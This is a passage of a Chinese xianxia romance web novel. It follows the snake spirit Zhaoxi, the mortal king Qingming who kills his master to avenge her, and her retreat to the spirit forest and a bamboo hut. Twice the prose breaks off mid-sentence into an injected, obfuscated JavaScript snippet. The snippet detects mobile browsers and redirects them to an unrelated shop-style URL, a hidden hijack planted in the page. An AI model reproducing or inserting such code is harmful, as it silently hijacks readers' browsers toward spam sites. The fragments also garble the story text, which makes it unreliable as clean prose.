他形同被抽去了魂魄,瘫软无力的走出了这间宫殿,那摇摇晃晃的背影让她感觉无比熟悉,思忆片刻发竟是与梦中男子最后的身影重合,想起来心里便一阵抽搐,急促而剧烈,满头汗珠,一时间无法站稳。 暮闲和宝芝忙去搀她,平复了一会儿后,才渐渐安定下来。 “这样是不是太难为你了?” 暮闲的眼里流转着复杂的情绪,什么都有,却唯独没有战胜清明的喜悦,她困惑的看着眼前人,眼中情绪百转,却分不清是什么。 脑海里尽是梦里暮闲斗法范懿后魂不附体的样子,之前她总觉得暮闲和南溟相像,可也只是寻常的貌似,全不似此刻,无论从身形上还是气质上,都深深觉得二人有些分不清。是自己的脑袋出了问题?还是冥冥之中,另有隐情? 她收起这些杂念,抿嘴挤出了个牵强的笑:“清明的最后一个大劫,就在最近这几年了,凡间几年于灵界不过几天,你可否再等一等我?” 暮闲轻轻点头:“不论短短几日还是千年万年,我都会等你的。” 二人相视一笑,暮闲的身影渐渐虚化,离开的毫无动静。 宝芝看着这场面,长长一叹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13321591|135497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她按耐住心中的不解,抗起她放在床榻上:“这到底是怎么了?我不过出去了一会儿,怎么就这样剑拔弩张的?” “唉,也是不知道怎么就变成这样了。对了,我交代你的事办了么?” 蘑菇点了点头:“办好了,亲眼看着王水清捡起了那张锦书。” “那就好。” “不过,你这样对殿下,回去以后……” 想到回去以后面对南溟,不由的心中发怵,身子也十分诚实的给出反应,她抖了抖,抽了抽筋:“看来隐世果真是我的宿命。” “我觉得哈……”不想揭穿,但又实在不能掩盖这番事实,宝芝还是诚实的讲了出来:“南溟殿下若是想找你,是不在乎掘地三尺的。” “……”这倒是实话,他这个人,做事情一向很坚定。 “朝曦,我其实觉得你刚刚有些过分,毕竟拒绝一个人不一定非要这么无情。” “所以?” “你方才所为与凡界中那些凉薄之人,并无分别。” 朝曦无奈一哼,倒头躺下,事情已经到了这个地步,自己又能怎么样呢?只好等着,帮他度过这次劫难就离开吧。 王水清捡到的那张锦书,是朝曦以清明之名拟的罪己诏,立意是身为小星国开国帝王,对多年来为娶妻立后一事造成的政变与君臣失和感到愧悔,并做出明确承诺,此生绝不迎娶朝曦。 王水清看到此书诏心中之悦不能按捺,恨不得马上宴请全宫,大醉三日不足尽兴,哪还有理智去追究这诏书的真伪?尽管最后她对诏书上没有清明的玺印产生了怀疑,但抱有侥幸的想,这罪己诏一旦公之于众,清明骑虎难下,又能怎样呢?毕竟自己只是代传,便是假的,也追不到自己头上。 总归最后,朝曦是当不成这王后的,她当不成,便只有自己,至于春凝,根本不具备争夺后位的资格。 大喜过望下,当夜便痛饮三壶酒,而乐极生悲总是如影随形,王水清没有料到,谁都没有料到,罪己诏之后,朝曦彻底退出妻妾之选,清明新添一道口谕,此生不立后,彻底绝了她的心思。于是,当夜又是三壶酒,因为酒烈,胃腹疼了半月有余。 清明自那日后早已心灰意冷,这道罪己诏对他来说如同一张废纸,而不久后王水清发动势力为自己争得皇妃之位,春凝不甘示弱也揽到了贵妃头衔,清明答应的痛快,其实大家心知肚明,这些在他眼中不过是些虚衔,他根本不在乎,他整个人,整副魂,都倾在了朝曦身上。 欢喜没有持续几日,王水清和春凝便发觉自己费力挣来的虚衔很没意思,没意思体现在两处,一是国无王后,皇妃代履王后职责统摄后宫,可惜后宫嫔妃仅有她与春凝二人,她仍旧同从前一样,只能管理好这唯一的手下,二在,大家虽然反对了朝曦当王后,可却没能阻止,了无意趣的清明将一国财政之权交给了她,他这么做,纯粹只是想留住她。 管钱在凡间来说是一份美差,管理国库相当于捏着本国的命脉,朝曦头脑不怎么好用但在账目钱财上很有天分,有事可做那闷闷不乐便渐渐转晴,清明见她高兴颇为欣慰,有道是奉国库为博美人一笑,成为了当时风行的流言。 王水清为了让自己的权利尊贵得以体现,自作主张的举办了选秀,前前后后纳了几十个女子进来,然而在索要经费时碰了壁,毕竟清明早有旨意,一切钱财支配全凭朝曦作主。 王水清气的闯宫理论,但朝曦几句话便叫她无话可说:“都多少年了,咱们君上连你们二人一根手指头都没碰过,啊,前段时间倒是碰了春凝几下,所以三宫六院这种摆设实在有些浪费,你招这些人进来,平添口粮用度,是当咱们的钱财是大风刮来的?” “当然了,你若一意孤行,也没人拦你,你只要多哭几场就好了,你拥有这种洒泪成珠的本事,钱财什么的自己解决完全不成问题。”嗑着瓜子,朝她投去羡慕的一笑:“王水清,按理说你有这份天生的财富,不论你去谁家都能像祖宗一样被供起来,为什么非要执意缠着一个不爱你的人呢?” 她窝了一肚子火回去,只将所有的气全部撒在春凝身上。 73. 弑师 暮闲像根刺一样深深扎在他的心里,他猜不透朝曦的心意,可她从没提过离开便已叫他很满足,只要能时时见着也是好的,毕竟在这晦暗无趣的人生里,朝曦是他唯一的光,若无她在,自己此生也不过同一具躯壳般,了无生趣。 日暮西沉,清明望着这满天橙红,心中藏匿着苦楚。 他顺着朝曦,顺着臣子们,顺着所有人,放弃了娶她为妻,在他看来这已经是最大的让步,是他最后的底线,他以为从此便能太太平平,相安无事,自己用余下所有时间与她厮守,然而在这件事上他当局者迷,十分的不清醒,我退敌进,此消彼长,这帮人从始至终容不下她,所谓的让,不过是缓兵之计,他们的野心正在无声默默中蚕食着他的江山。 这一次他的师傅何志强牵头其中,誓要免黜她的所有,彻底驱逐出小星国。 听闻千里之外,一个名叫华曌的小国拔地而起,此国兵力强大,以破竹之势攻克了小星国边陲之城,朝臣们担心这好不容易得来的富贵不能长久,便拜求清明亲自率兵前往。 事实上,华曌的确势头凶猛,但还不至于需要清明亲征,与华曌国君会晤后,清明感觉到这个弹丸之国有些异常,仔细观察下来才发现,这位国君不过是个虚有其表的庸才,倒是他的军师,对军政一应事务信手拈来,熟稔无比,这些本值得一惑,不过当他发现这位国师,竟然是消失了多年的般颉后,心中便拨云见日了。 “难为你蛰伏多年,等的便是今日吧?” “不错。”般颉不遮不掩,大约是对今日一战成竹在胸。 “我倒不知,你我之间到底有什么恩怨,为什么你总是跟我作对。” “谁知道呢?可能是,前世的恩怨吧。” 清明泰然自若,般颉也不动声色,在旁人看来二人之间如一潭池水般平静安沉,没有一点儿剑拔弩张的意思。 若是比定力,若是没有后知后觉,清明不会输。 他看着般颉这诡谲的脸,除了那阴鸷的笑容基本上没有任何动作,僵持着许久,直至周边出现了上百兵士将这安静打破,双方才展开交战。他的近身侍卫平日里训练有素,这些蛮夷之士非正规军统训,没有战术的加持注定只能做一个或者一群蛮横凶狠的匹夫,故而对于清明的队伍来说,解决他们并不具难度,不肖多时便叫他们溃败不已,满殿横尸。 看着这颓败之势,般颉脸上没有愤怒,没有慌张,反而显现一丝耐人寻味的神色,要知道,争战时刻没有一个将帅会不在乎胜负,能做到这样,可见是另有预谋。 只是他到底在谋什么?清明不解,很快,般颉后方又有兵士如雨后春笋般接茬儿涌出,两方继续搏杀,血花四溅,宽阔的大殿里除了兵器的锵锵碰撞声,便是新死之人的哀嚎声,他们一个个早已杀红了眼,而清明在这无休止的杀戮里渐渐意识到,这么杀敌一万自损八千的打法,除了同归于尽便只有一个可能,拖延。 他恍然清醒并站起,般颉未必能困的住自己,而宫中那些人一定会想方设法加害朝曦。 看着他瞳里倏然腾起的火苗,般颉得意不已,连并声音都充满了嚣张:“怎么你这才察觉,算一算,这会儿你的朝曦姑娘,大约已经……” 胸腔的怒气直冲百会,他不是没有了理智,而是顾不得去理智。遂即拔剑出鞘,似砍伐野草枝蔓一般杀出一条血路,而般颉早已在兵士的护卫下撤离。 清明提着满是血水的剑,鼻息钻入浓浓腥气,他微微转头,余光睨见身后的那些艳红残尸,狠心离开。驾马疾驰一路而去,暴风雨冲洗去那通身的血气,连日赶路没什么力气,像一只奋力挣扎的鸟,拼力赶赴着,赶向那渐渐消灭的希望。 朝曦,等我。 当马驰进王城,他飞出去的腰牌扔在守城官将要喝阻的脸上,而马蹄矫健,不停奔驰下终于来到她的宫殿,破门闯入后他勒紧缰绳,疾速止步,马声嘶鸣,一众人围在其中,或神色得意,或傲慢轻蔑,而那一身紫,今日她穿了深紫,正软软倚靠在朱红柱子前,气息微弱。 “这是怎么了?”他推开他们,扑在她的身前抱起她,触到她时感觉衣衫湿热粘腻,摊开手来看,竟是血,原来她穿的不是深紫,只是被血染成这般。 愤怒呼之欲出,虽然不发一言,却仍可见得他心中之恨,滔滔怒火环身,眼前此刻,他仿佛已经不是他。那些人看着忽然赶回来的清明,个个惊慌愕然,不知所措。 她几乎没有了意识,也不能答他,只是口中喃喃,听不清在说些什么。 何志强提着剑,王水清,春凝,一干众人,作为帮凶立于一旁。 “可真是好手段,为了要她性命作出这样的局来,不觉得卑鄙吗?”清明看着他手里垂着红色血珠的剑:“这把剑不凡,不知师傅从何得来。” “清除妖孽,何须有所顾忌。况此剑是神仙所赠,为的就是斩妖除魔,匡扶正道,所以今日之为,我并不觉得有什么不妥。” 神仙,又是哪个神仙。他脸面僵硬,只有嘴角微微勾出一抹冷蔑:“师傅一心向道是好事,可你的道要用别人的生命来证,是不是太可笑了?” “妖魔存于世间只会危害苍生,清明,咱们君臣师徒一场,我不能看着你堕落沉沦。” “你眼见她害过谁?你怎么说都好,没有她,一切于我来说不过是种煎熬。” 清明拔剑相向,何志强想过有此局面,可没有想到,他真的会出杀招。寻常兵器不敌仙剑,清明便弃剑卸甲,赤手空拳的与他较量,一身武艺虽然为他所授,可经过多年历练,何志强早就不是清明的对手,几个回合而已,他的短刀便架在他的颈上,刀刃贴合着皮肉,没一会儿便渗出血来。 “我的好徒儿,你真的敢为了一个妖干这欺师灭祖之事。” 何志强的质疑没有令他迟疑,但令朝曦忽然苏醒一些,气力微弱:“清明……” 他转头看着她,看着那想没有血色的脸,如同即将脱离枝桠的梨花。她用尽气力劝阻:“我已经不行了,你就不要再添杀孽了。” “他们万死不能偿。”他背过脸,短刀利落划过,何志强死了。 罪过已经酿成,朝曦心中无奈,所有的打算成空,退场已成定局,现在唯一能做的,就是让他余生过的舒心些,不要再记挂自己。 “清明,你会长寿的,忘记我,好好活着。” “你等着我,我们一起走。” 他反手准备自尽,朝曦伸出手握住剑刃,顾不上顺着刀刃流下的血:“不,我该走了,该去寻暮闲了,你好自珍重吧。” “你故意这么说,对不对?” 她摇头否认:“一直以来,在我的心里,暮闲才 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清明提剑走到王水清和春凝身前:“你二人素来与她为难,我只以为是些小手段便未放在心上,没想到心肠竟歹毒至此,伙着这一殿臣子害死她,如今你们愿望达成,可满意了?” “君上,我们……只是为,君上的安危着想……” “是,妖吸食人的精元,殿下留她在身边,早晚会没命的!” 二人一边辩解,一边颤颤发抖,可见是害怕的。 他直起身子,眼中空洞无光:“我屡次三番告诫你们,不要做伤害她的事……” “君上……” 仰面长啸,声音在殿中不断回荡,终于有泪水顺着笑意滑下,“传孤旨意,王水清和春凝禁闭幽室,每日笞刑十数,其余人等,全部殉葬。” 一道并不繁长的旨意,字字铿锵,落在朝曦耳中更加不知所措。 “事情已成定局,多想无益,你还是早些回去吧,这一身的伤且需要一阵子修养。” “是啊,是该回去了。” 若飞又关切的劝解她什么,可她只能看见那清丽的脸庞,耳中却听不进半点,整个人仿若失魂一般,摇摇晃晃的不知飘向何处。 游窜了不知多久,到了一处山野,是哪儿呢?她穿过一片丛林,又穿过一片丛林,脚下一个不稳竟从坡上滚了下去,碎石沙砾扎进皮肉,荆刺剌过身上伤口,生死于她已是司空见惯,何况这并不能要命的疼痛?她攀爬起来,往那处还亮着灯火的住户走去。 “朝曦?”一个熟悉声音入耳,她终于能听到些声音了。 “弥斐啊,你怎么在这儿?” “灵界无趣,过来逛逛。”狐狸看见她这副凄惨状,不由皱眉:“下界护佑南溟,怎么把自己弄成这个样子?” “嗨,小小伤势,不要紧的。”她故作轻松,看了看四遭,想不通这里有什么好逛的,便问说:“这荒山野岭的,与灵界没什么不同,你跑这儿来逛什么?” 弥斐舒了口气:“你这回走的时间有些长,宝芝回来说了你在凡界的事,丹妩担心你出事,便叫我来寻你。” “出事?”朝曦不得不想起已经不在的庚酉,难过顿时漫上心头:“庚酉他……” 弥斐很懂她的心情,安慰道:“所以咱们几个,万不可再少了。随我回去吧。” “嗯。” 74. 思念成疾 终于回到林子,那温意松适立刻叫她心中轻快不少,整个人像一条无骨蛇一样,立刻瘫睡在老榆树精的身边,如同一只返巢的倦鸟,一片归于冰山的雪花,果然家对一个人来说,是不可缺少的。 “凡人说的真对,金窝银窝不如自己的狗窝。” 话糙理不糙,大家表示都很认同。 往日无比娆媚的丹妩,如今身上的颜色已经格外素雅,面容也不复光华,她抬眉看了看这日渐冷清的林子,转眼又见那浑身是伤的朝曦,不由叹息:“你这一身的伤,可是仙剑所致,没有想过何志强一个凡人怎么会有仙剑吗?” “天界想诛杀我,自然有各种手段。”朝曦枕着树根,神色攸然,仿佛在说一件生活琐事一般。 丹妩只道她心大,却不知她心中早是五味杂陈,不得疏解,便只好假装忘记不去想。 “故而如今,这片林子是不能再待了。”弥斐明白,她们也都明白。 “庚酉。”丹妩别过身去,低声念着他的名号,那背影孤冷萧然,满心满眼的怨怼不甘,可又自责自己的无能无力:“庚酉死的冤,可我们却没有能力为他报仇。” 庚酉死在虞贞手下,她知道,丹妩虽没说出口但心中是怪她的,虞贞是因为南溟对自己下手,这才连累了庚酉。 愧疚从来没有离开过,胸腔之内似被紧紧勒住,朝曦出神:“或许有一天,我能为他报仇的。” “你能吗?”丹妩在质疑,质疑她夹在南溟和虞贞之间,是不是分的开情意与仇恨,又能不能做到,无视南溟而对虞贞下手。 居于大事前,女子常常感情用事,而男子却能够保持清醒理智,所以弥斐看的清楚:“虞贞是南海海后,应龙之妻,岂是咱们都斗的过的?我相信庚酉泉下有知,是不会眼看着咱们以卵击石去送死的。乌榆林早已经不安全了,你们快随我去涂山吧,毕竟我们那儿是狐族仙山,天界会忌惮几分的。” 两人沉默不应,要舍弃自己的家总归不是件说做就做的事。 “你们好好想想吧,不过要尽快。” “宝芝呢?”何志强一干人发难那日,朝曦先让她回来乌榆林,不过这半晌,没看到她的踪影很是奇怪,毕竟日常没什么事的她,唯一的活动便是在林中晃来晃去。 “出去了。” “如今处境危险,她怎么还出去?” “我已经很是苦口婆心的拦劝过她,可她还是偷偷跑出去了。” 弥斐不解:“宝芝从来很乖,几乎不出林子,这是怎么了?” “红鸾星动了。” “红鸾星动?对方是什么人?” “她没有告诉我,只是说那人是个好人。” “天底下哪有那么多好人。”弥斐语气讽刺,说这话的时候更是意味深重的看向丹妩:“长情,不渝,更是寥寥无几。” “你为何有此质疑,难道彭凌太子做了什么让你不开心的事吗?” 朝曦看着他,又睨见丹妩那不得舒展的眉头,看来在自己离开的这段时日,大家都各自发生了不少事。二人都默不作声,又可见发生的绝不是什么好事。 “其实能活着便是很好,情情爱爱这些,真的不必太过挂怀。”是劝他们,也是在劝自己。 丹妩投来一双白眼,反驳道:“你说的轻松,若是这样,那你为何还要留在凡界保护你的殿下?” “我这算是报答他的恩情吧,怎么说,他也救过我很多次,做人做蛇,不管做什么都不能忘恩负义,对吧。” “那么等南溟回来以后,你还会去找他吗?” 有一瞬间的出神,她摇了摇头:“我已经决定了,也答应了暮闲君同他一起隐世,所以我与殿下在凡界的几十年,算做是一场告别。” “暮闲?”弥斐想了想:“就是那位蛇族的军师吗?你要同他,成婚?” 她点了点头,又摇了摇头:“他的妻子如今下落不明,我不能这么不明不白的就当了人家小老婆。” “……” “所以我就不同你们一起去涂山了,免得你们再被我连累。” “咱们也算是家人,说什么连累不连累的呢?” “正因为是家人,所以更要趁早分开。” 月亮在林间升起,披着它莹洁的斗篷值守于墨夜之上,庚酉曾经说过,月亮有许多名字,亦有一百种样子,阴晴圆缺,残满新弦,有时是光泽澄明的金轮宝镜,有时是轻柔皎洁的迢迢碧华,而眼前这清冷如霜的样子,大约今日,它是一位傲骨嶙嶙的公子,任何一切都不能令他俯首。 月光流萤,将整片林子温柔盖住,而此时万物幽然寂静,的确寂静,静的连最寻常的蛙鸣蝉叫声都没了。 朝曦想等宝芝回来,便蜷在老榆树精旁边睡下,只不过当她睡足醒来,并未见着蘑菇的身影,反倒那常常来去于无声无息的大鹏,安静的坐在一旁,似乎候了很久。 朝曦看了看盖在身上的白色羽衣,揉了揉惺忪睡眼缓缓坐起:“亦棠君,你来多久了,怎么不叫醒我?” 他嘴角浅浅弯起,一贯的语调温和:“没有多久,我见你睡得沉,便没有打扰你。再说此地清静,我也算休息一下了。” 如果六界皆是亦棠这样的人,那这个世界上一定是无比的和平,可惜没有如果。有客人来,她想着再尽这最后一次地主之谊,好好款待他一番,于是便松了松筋骨准备起身,不过当她站起,发觉自身的伤痛感竟然微乎其微,再掀开袖子,看见伤口也几近愈合,诧异间不由的看向亦棠。 “你又为我疗伤了?” “举手之劳,不足挂齿。” “你不远万里跑过来举手之劳,怎么能不足挂齿呢?不仅要挂齿,还要常常挂在心上,只是我欠你这许多人情,今世恐怕是还不上了。” “我们是不是朋友?” “当然是。”她重重点头,无比诚挚。 “既然是朋友,便不须这般客套。” 她爽朗一笑,显得有些傻,亦棠见她开怀,不觉也跟着笑了出来。 “对了,你渴了吧?”不等他说话,她转身从老榆树精身上摘了几片叶子,随手变出一杯热水,将叶子扔了进去。“我看你眼圈有些乌青,可见是睡眠不好,榆树叶子泡茶饮可以安神,尤其咱们树精爷爷活了不知几万年,他老人家的枝叶,喝了必然有无尽好处。” “是吗?”亦棠接了过来,尝了一口:“果然清香甘甜,不同寻常榆树可比,今日是托朝曦你的福,才能尝到一些。” “什么福不福的,你仗义待我,好朋友也该有来有往,既然你喜欢,走时我多给你带一些。” 身后的老榆树精晃了晃,似乎对她的大方颇有意见。 二人耸了耸肩顽皮一笑,一阵晚风掠过,两人的鬓边青丝双双随之拂动,亦棠任由它舞动,朝曦却将它轻轻捏起送到眼前,青丝,神思里不由分说的钻进那句,结发为夫妻,恩爱两不疑,进而又想到竹屋里的那截断发,想到与暮闲融为一体的银墨分明。 “如此苦恼,是有什么困惑吗?你可以说出来,我帮你分解分解。” 朝曦瞳仁微微一张,她觉得亦棠一定会读心术,不得不再次感叹智慧和文化对一个人是多么重要。她张口欲道,但心中困惑多乱如麻,实在不知该问那句,便又哑然。“不知该从何说起……” “世人说难得糊涂,若困惑难以疏解,便只想着这四个字就好了。” 是啊,自己的蛇生信条便是难得糊涂,怎么就忘了?亦棠一句话叫自己警醒,自己真的是迷失了,看来要在浑浊尘世里保持清醒,坚守初心,是很不容易的。 亦棠饮了饮茶水,道:“人之所以痛苦,大约是因为追求了错误的东西。只是想要证道得道,红尘里滚一遭才是真正的去处,若以逃避来达到无欲无求,那岂能算是真正悟透。” “所以但凡有些造化的,都得要受些常人所不能承受之苦?”想到商朝剜眼的姜王后,挖心的比干,她不寒而栗,啧啧一叹表示自己不想当什么造化之人。 “朝曦懂得爱惜自己,也是好的,我倒希望你永远如此,不似在凡界那样。” 他这没来由的一叹,倒是提点她想起了南溟在凡界所造之孽:“对了,殿下他,在凡界杀了许多人,包括他在凡界的师傅,这件事会不会被天界怪罪?” 亦棠脸上的松弛慢慢不见,侧面印证了她所担心的。 “他是天界看重之人,此番下界既是对他的罚处,更是对他的历练,所以他的一言一行,一举一动,都在天界眼里,不容含糊。” “因我被罚下凡,下凡还因我造业,看来我才是殿下的劫。”她无奈哑笑:“所以呢?会怎么样?” “我也不知道。” “可这件事,真的不能全怪殿下,是般颉恶意陷害,当然……很大程度上也是因为我。”她默默垂下头。 “你也好般颉也罢,考验之下,他没有控制好自己,杀戮之孽,弑师之罪,都是不容争辩的事实。” 朝曦僵挺挺的顿住,有一瞬间的失神,亦棠见她这样于心不忍便又宽慰道:“你也不必过于担心,各人自有造化,说不定只会让他再下界一次,来弥补罪过呢?何况我相信以南溟的本事,不一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13361165|135497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定就被定罪了。” “会吗?” “你既然打算离开,就莫要为这些牵绊,南溟处境再不济,也比你强上百倍。” “但愿如此吧。”朝曦仰面看着上空繁星明灭,忍不住感慨道:“如果能一直像从前一样无忧无虑就好了。” “是啊,就像幼时在雾仪山,只要完成课业,便能做一些自己喜欢的事,简单纯粹,没有烦恼。” 雾仪山,现在想想,虽然那时危险了些,的确如亦棠说的那样,安稳平和,舒心快意,只是那种美好的日子,今生恐难再有了。 “不过唯一的缺憾是,那时的你只能以蛇身相伴,你这么会聊天,不能人语相谈是怪可惜的。” 朝曦点头应着,话在脑中过了一会儿才发觉亦棠好像知道了什么,可想了想有些不可置信,便将信将疑的看向他:“你是说,你知道了我是?” 那条菜花小蛇…… “嗯。” 轻轻一嗯,匪夷所思,她还是想不明白,便问说:“你是如何知道的?” “你自己不曾察觉,身上还留有雾仪山的仙气,何况你们林子里不是都知道吗?” 她立刻抬起手臂嗅了嗅,并未闻见他说的那个什么仙气,亦棠抚额掩面,尽量不让自己笑的太张扬。 “吭吭,那么…殿下也知道了?” “自然是知道的。” “可他从没有说过。” “他一向话少。对了,你准备何时离开,以后要去哪儿?” “就这两日吧。” “是,与暮闲一起么?” “嗯。” “你不找妖王遗孤的下落了?” “不找了,像你说的,糊里糊涂挺好,追根究底只会让人徒增烦恼。”发展到现在,很多事已经清晰明朗了,遗孤待在雾仪山挺好的,暮闲既然忘了过去那便忘了吧,反正挺不愉快的,至于自己……从何处来往何处去,来这世间的意义是什么,对南溟情深几许,就让这些所有随风飘去吧。想定便不再多思。 …… 宝芝深夜才回,朝曦阴森森的猫在角落等她,差点给她吓掉了魂。一向没什么脾气的蘑菇,这回很反常,劈头盖脸的呵斥了她一顿。朝曦感叹着人的善变,自觉理亏的受下这通火气, 她将大家可能迁移去涂山的打算告诉了宝芝,没想到她竟不愿离开这儿。 问她原因,尽管不说朝曦也猜的出来,九成是要等她的意中人。 她很不放心这朵蘑菇,思量再三劝道:“不想去涂山那便跟着我走吧,留在这里太不安全了。” 宝芝不置可否:“你不觉得跟在你身边更加危险吗?” 这倒也是。“可是我不会害你啊,你的那个什么心上人,也不知是什么来路,万一把你卖了可怎么办。” “只是卖一卖有什么要紧,又不是没被卖过。”朱红的小嘴口齿利落,这通阴风阳气,这还是过去那个憨厚老实的蘑菇?做贼心虚,朝曦只能再跟她赔起不是来:“我的好蘑菇,都过去这么久了,你就原谅我吧。” “从认识了南溟殿下,你就变得见色忘义起来。” “我……” “但我是能理解你的。”宝芝双手捏了捏她的脸颊,天真笑道:“南溟殿下这种宇宙极品,你为他意乱情迷,失了理智是情理之中的。” 朝曦抿着双唇不知该做何回答,只能说色令智昏一点儿不错。 宝芝坚定的选择不跟她走,朝曦便又语重心长苦口婆心的交待了好些事,宝芝嫌她啰嗦,并表示她作出这种生离死别般的态度有些小题大做。 辰时,朝曦千里传音于暮闲,未见回应。她便只好前往蛇族,洞庭,一一寻找,然而却都落了空。折腾了几日后,无处可寻的她回到了凡界的竹林,拐了个弯儿去章白山神府,正见那老头儿喜滋滋的喝着小酒,快意极了。 原来是南溟凡界一生就要结束,等他元神归位的那一刻,章白也就完成了任务,重担即将卸下,他自然高兴,不过,他的一番酒后真言却叫朝曦锥心不已。 原来在她走后,清明心死如灯灭,余生活在痛苦之中,也许是因为郁郁寡欢的缘故,再加上酗酒严重,没多久便患上了一种不知名的顽疾,从此疼痛常伴,日日受病痛和心痛的双重折磨,直至九十岁寿终,而他一手建立的小星国,在他去世后没几年便被灭国,至此,南溟在凡界的一生,彻底画上句号。 弥斐说,一个人思念成疾,便是如此。朝曦很后悔自己干预了他的人生,她原本只是想让他避开那人生八苦,可因为自己,这八苦体现的更加刻骨。 75. 最后一梦 章白的脸喝的红扑扑的,看他开心便也一同坐下,尝一尝这人间的神仙快乐水,能不能让自己也一解忧愁。 嫌弃酒杯太小巧,自己随手幻了只脸大的碗来,说是碗,倒不如说它是瓢。一壶酒将将倒够这一碗,朝曦便毫不犹豫直接端起饮尽,看的章白神色呆滞,这酒量,莫说一壶,就是再来一坛也不够。 好酒得来不易,拢共也没有多少。这许多年里,也唯有暮曦曾让他舍得拿出来一些款待,可不知那个女人竟是千杯不醉之量,生生将自己积攒的家底喝光饮尽。往事重演,带着那相似的面容刷新着自己的酒榜,天底下会有如此巧合? “你这酒是打哪来的?真是不错。”口中绵柔香醇久久不散,竟比丹妩的酒还要好。 章白砸吧着嘴,不太开心:“当然是自有来处。” 朝曦看这山神小老儿如此小气,猜想是因为自己白吃白喝的缘故,她想,自己也是要面子的,岂能这样被人戳脊梁骨?于是便从袖兜里掏出一个拳头大小的珠子来,搁到他的面前。 珠子泛着熠熠光泽,成色上佳,章白一眼看出不是凡物。“这是哪儿来的?” “你只管收下,也算我没有白吃白喝你的,问这么多做什么?” 他当了万年的神仙,最是小心谨慎:“那可不成,我小老儿可不敢收你这不明不白之物。” “迂腐。”朝曦捏了捏额头,只好告诉他:“这破珠子,来自于鲛人族公主的眼里。” “这……怎么说?” “就是那个落泪能化成珠子的王水清,她本是鲛人族公主转世,在仙界时她便屡屡害我,下凡又与我过不去,你说,我是不是该向她索要些补偿?” “补偿?”万没见过哪个妖精敢跟神仙要补偿的。“所以?” “所以,我就将她暴揍了一顿,她哭了很久,我捡了几颗最大的留下。” “……” 章白觉得自己在这小妖面前,委实没有一个神仙该有的气场,反观她,倒有一种睥睨万物之态,让人不由的生出点点怯意来。 “你能不能再跟我说说,他们的事?” “他们?” “嗯,我很不明白,他们原本那么恩爱,为什么会突然反目刀剑相向?我瞧着,暮闲并非薄情寡义之辈,这其中是不是有什么误会?” “误会?”陷入一阵苦索中,一阵搔头一阵挤眉弄眼,仍然不见半分头绪,他摇了摇脑袋长长一叹道:“年纪大了健忘,这日久天长的,不大能想的起来了。” 酒的后劲儿略大,不觉间感到一些眩晕,不过便是这样也还是忍不住送去一双白眼:“所以说就算是当了神仙,脑袋长久的不用,也会生锈的。” “消闲惯了,便不想往脑袋里拾掇。”章白不好意思一笑。 “这卧龙山虽位处山野,人烟稀少,可他们不还是寻到这儿并落脚于此,这么多年,难道除了他们便再没有别人来过?” “你这么一说,我倒是想起,后来又有个姑娘来过。” “姑娘?” “嗯,具体细节想不起了,只记得这女子气质不凡,面容姣好,相貌上比她逊色一截儿,但性格温婉却是她不能比的。” 话在耳中过,心中却默默有了计较。“难道,暮闲红杏出墙了?” “不知道,我只模模糊糊记得,那姑娘来到便与她成了闺中密友,无话不谈……” “哦,这么说也可能是她红杏出墙了。”想到梦中暮闲给她的当胸一剑,心中转念后便又肯定不少。 “女子与女子怎能……” “没什么不可能的。”她摆了摆手,表示这不是重点。 “归根结底,还是因为二人神仙与妖的身份,当时场面震撼,结果又以惨烈收场,以至于周边生灵,好久都不敢走出洞穴窝巢。” “那后来,你没有再去打探她的消息吗?还有,暮闲是神仙,你又知不知道,他是哪家的神仙?” “有打探过,不过你也知道,因为身份有别,我并不能光明正大的打听,再来我仙阶低微,所能得到的消息又屈指可数。至于暮闲,更是查不到他的身份,只是他周身贵气,想来不是普通散仙。” 她怅然若失的叹了叹,而这副神情落在章白眼中分外熟悉:“你这样子,倒与那位面具男子如出一辙。” 暮闲?“他有来过?” “有来过,在那竹屋里待了几日,我见他失魂落魄一般,便不敢去打扰。” 听闻,朝曦便扔下酒杯一路向竹屋跑去,只是她思绪聚集,又自顾的跑着,完全没有听到章白那句“他已经离开了。” 此时已经深夜,从外看去,房子里面并无灯火,唤了两声见无人应答便推门进去,然而上下里外寻了个遍,也不见暮闲影子,只有在窗子边的一张书案上,搁着一杯新沏的竹叶青,与一幅已经泛黄的字。 ‘皑如山上雪,皎若云间月。闻君有两意,故来相决绝。’ 茶水凉透,又如何抵得过心中凉透?她鼻息一酸,咽喉间满满苦涩,而抬眉正好看见窗外那高悬着的冰轮,寒意落在眼中竟也能沁肤彻骨一般,她紧了紧衣衫,发觉自己竟然能够感同身受。 本有些困意上头,却被吱呀门声驱散,漆黑不明里,她寻着脚步声看去,一个身影缓缓走来,看不清面容,依稀可从月光映照下,窥得其身影里的失意,落寞。 “暮闲,是你吗?” 感觉那人一顿,便不再往前走。 她起身迎去,还未走近,便听他声音沉沉,起初疑问,而后失落,就如同他的身影一般。“你在等他?你果然在等他……” 醉意不识时务的漫了上来,尽管她头脑不清醒,也还是听得出这声音的主人:“清明?” 他不语,而近至身前,看清他不展的愁容,“你怎么……” 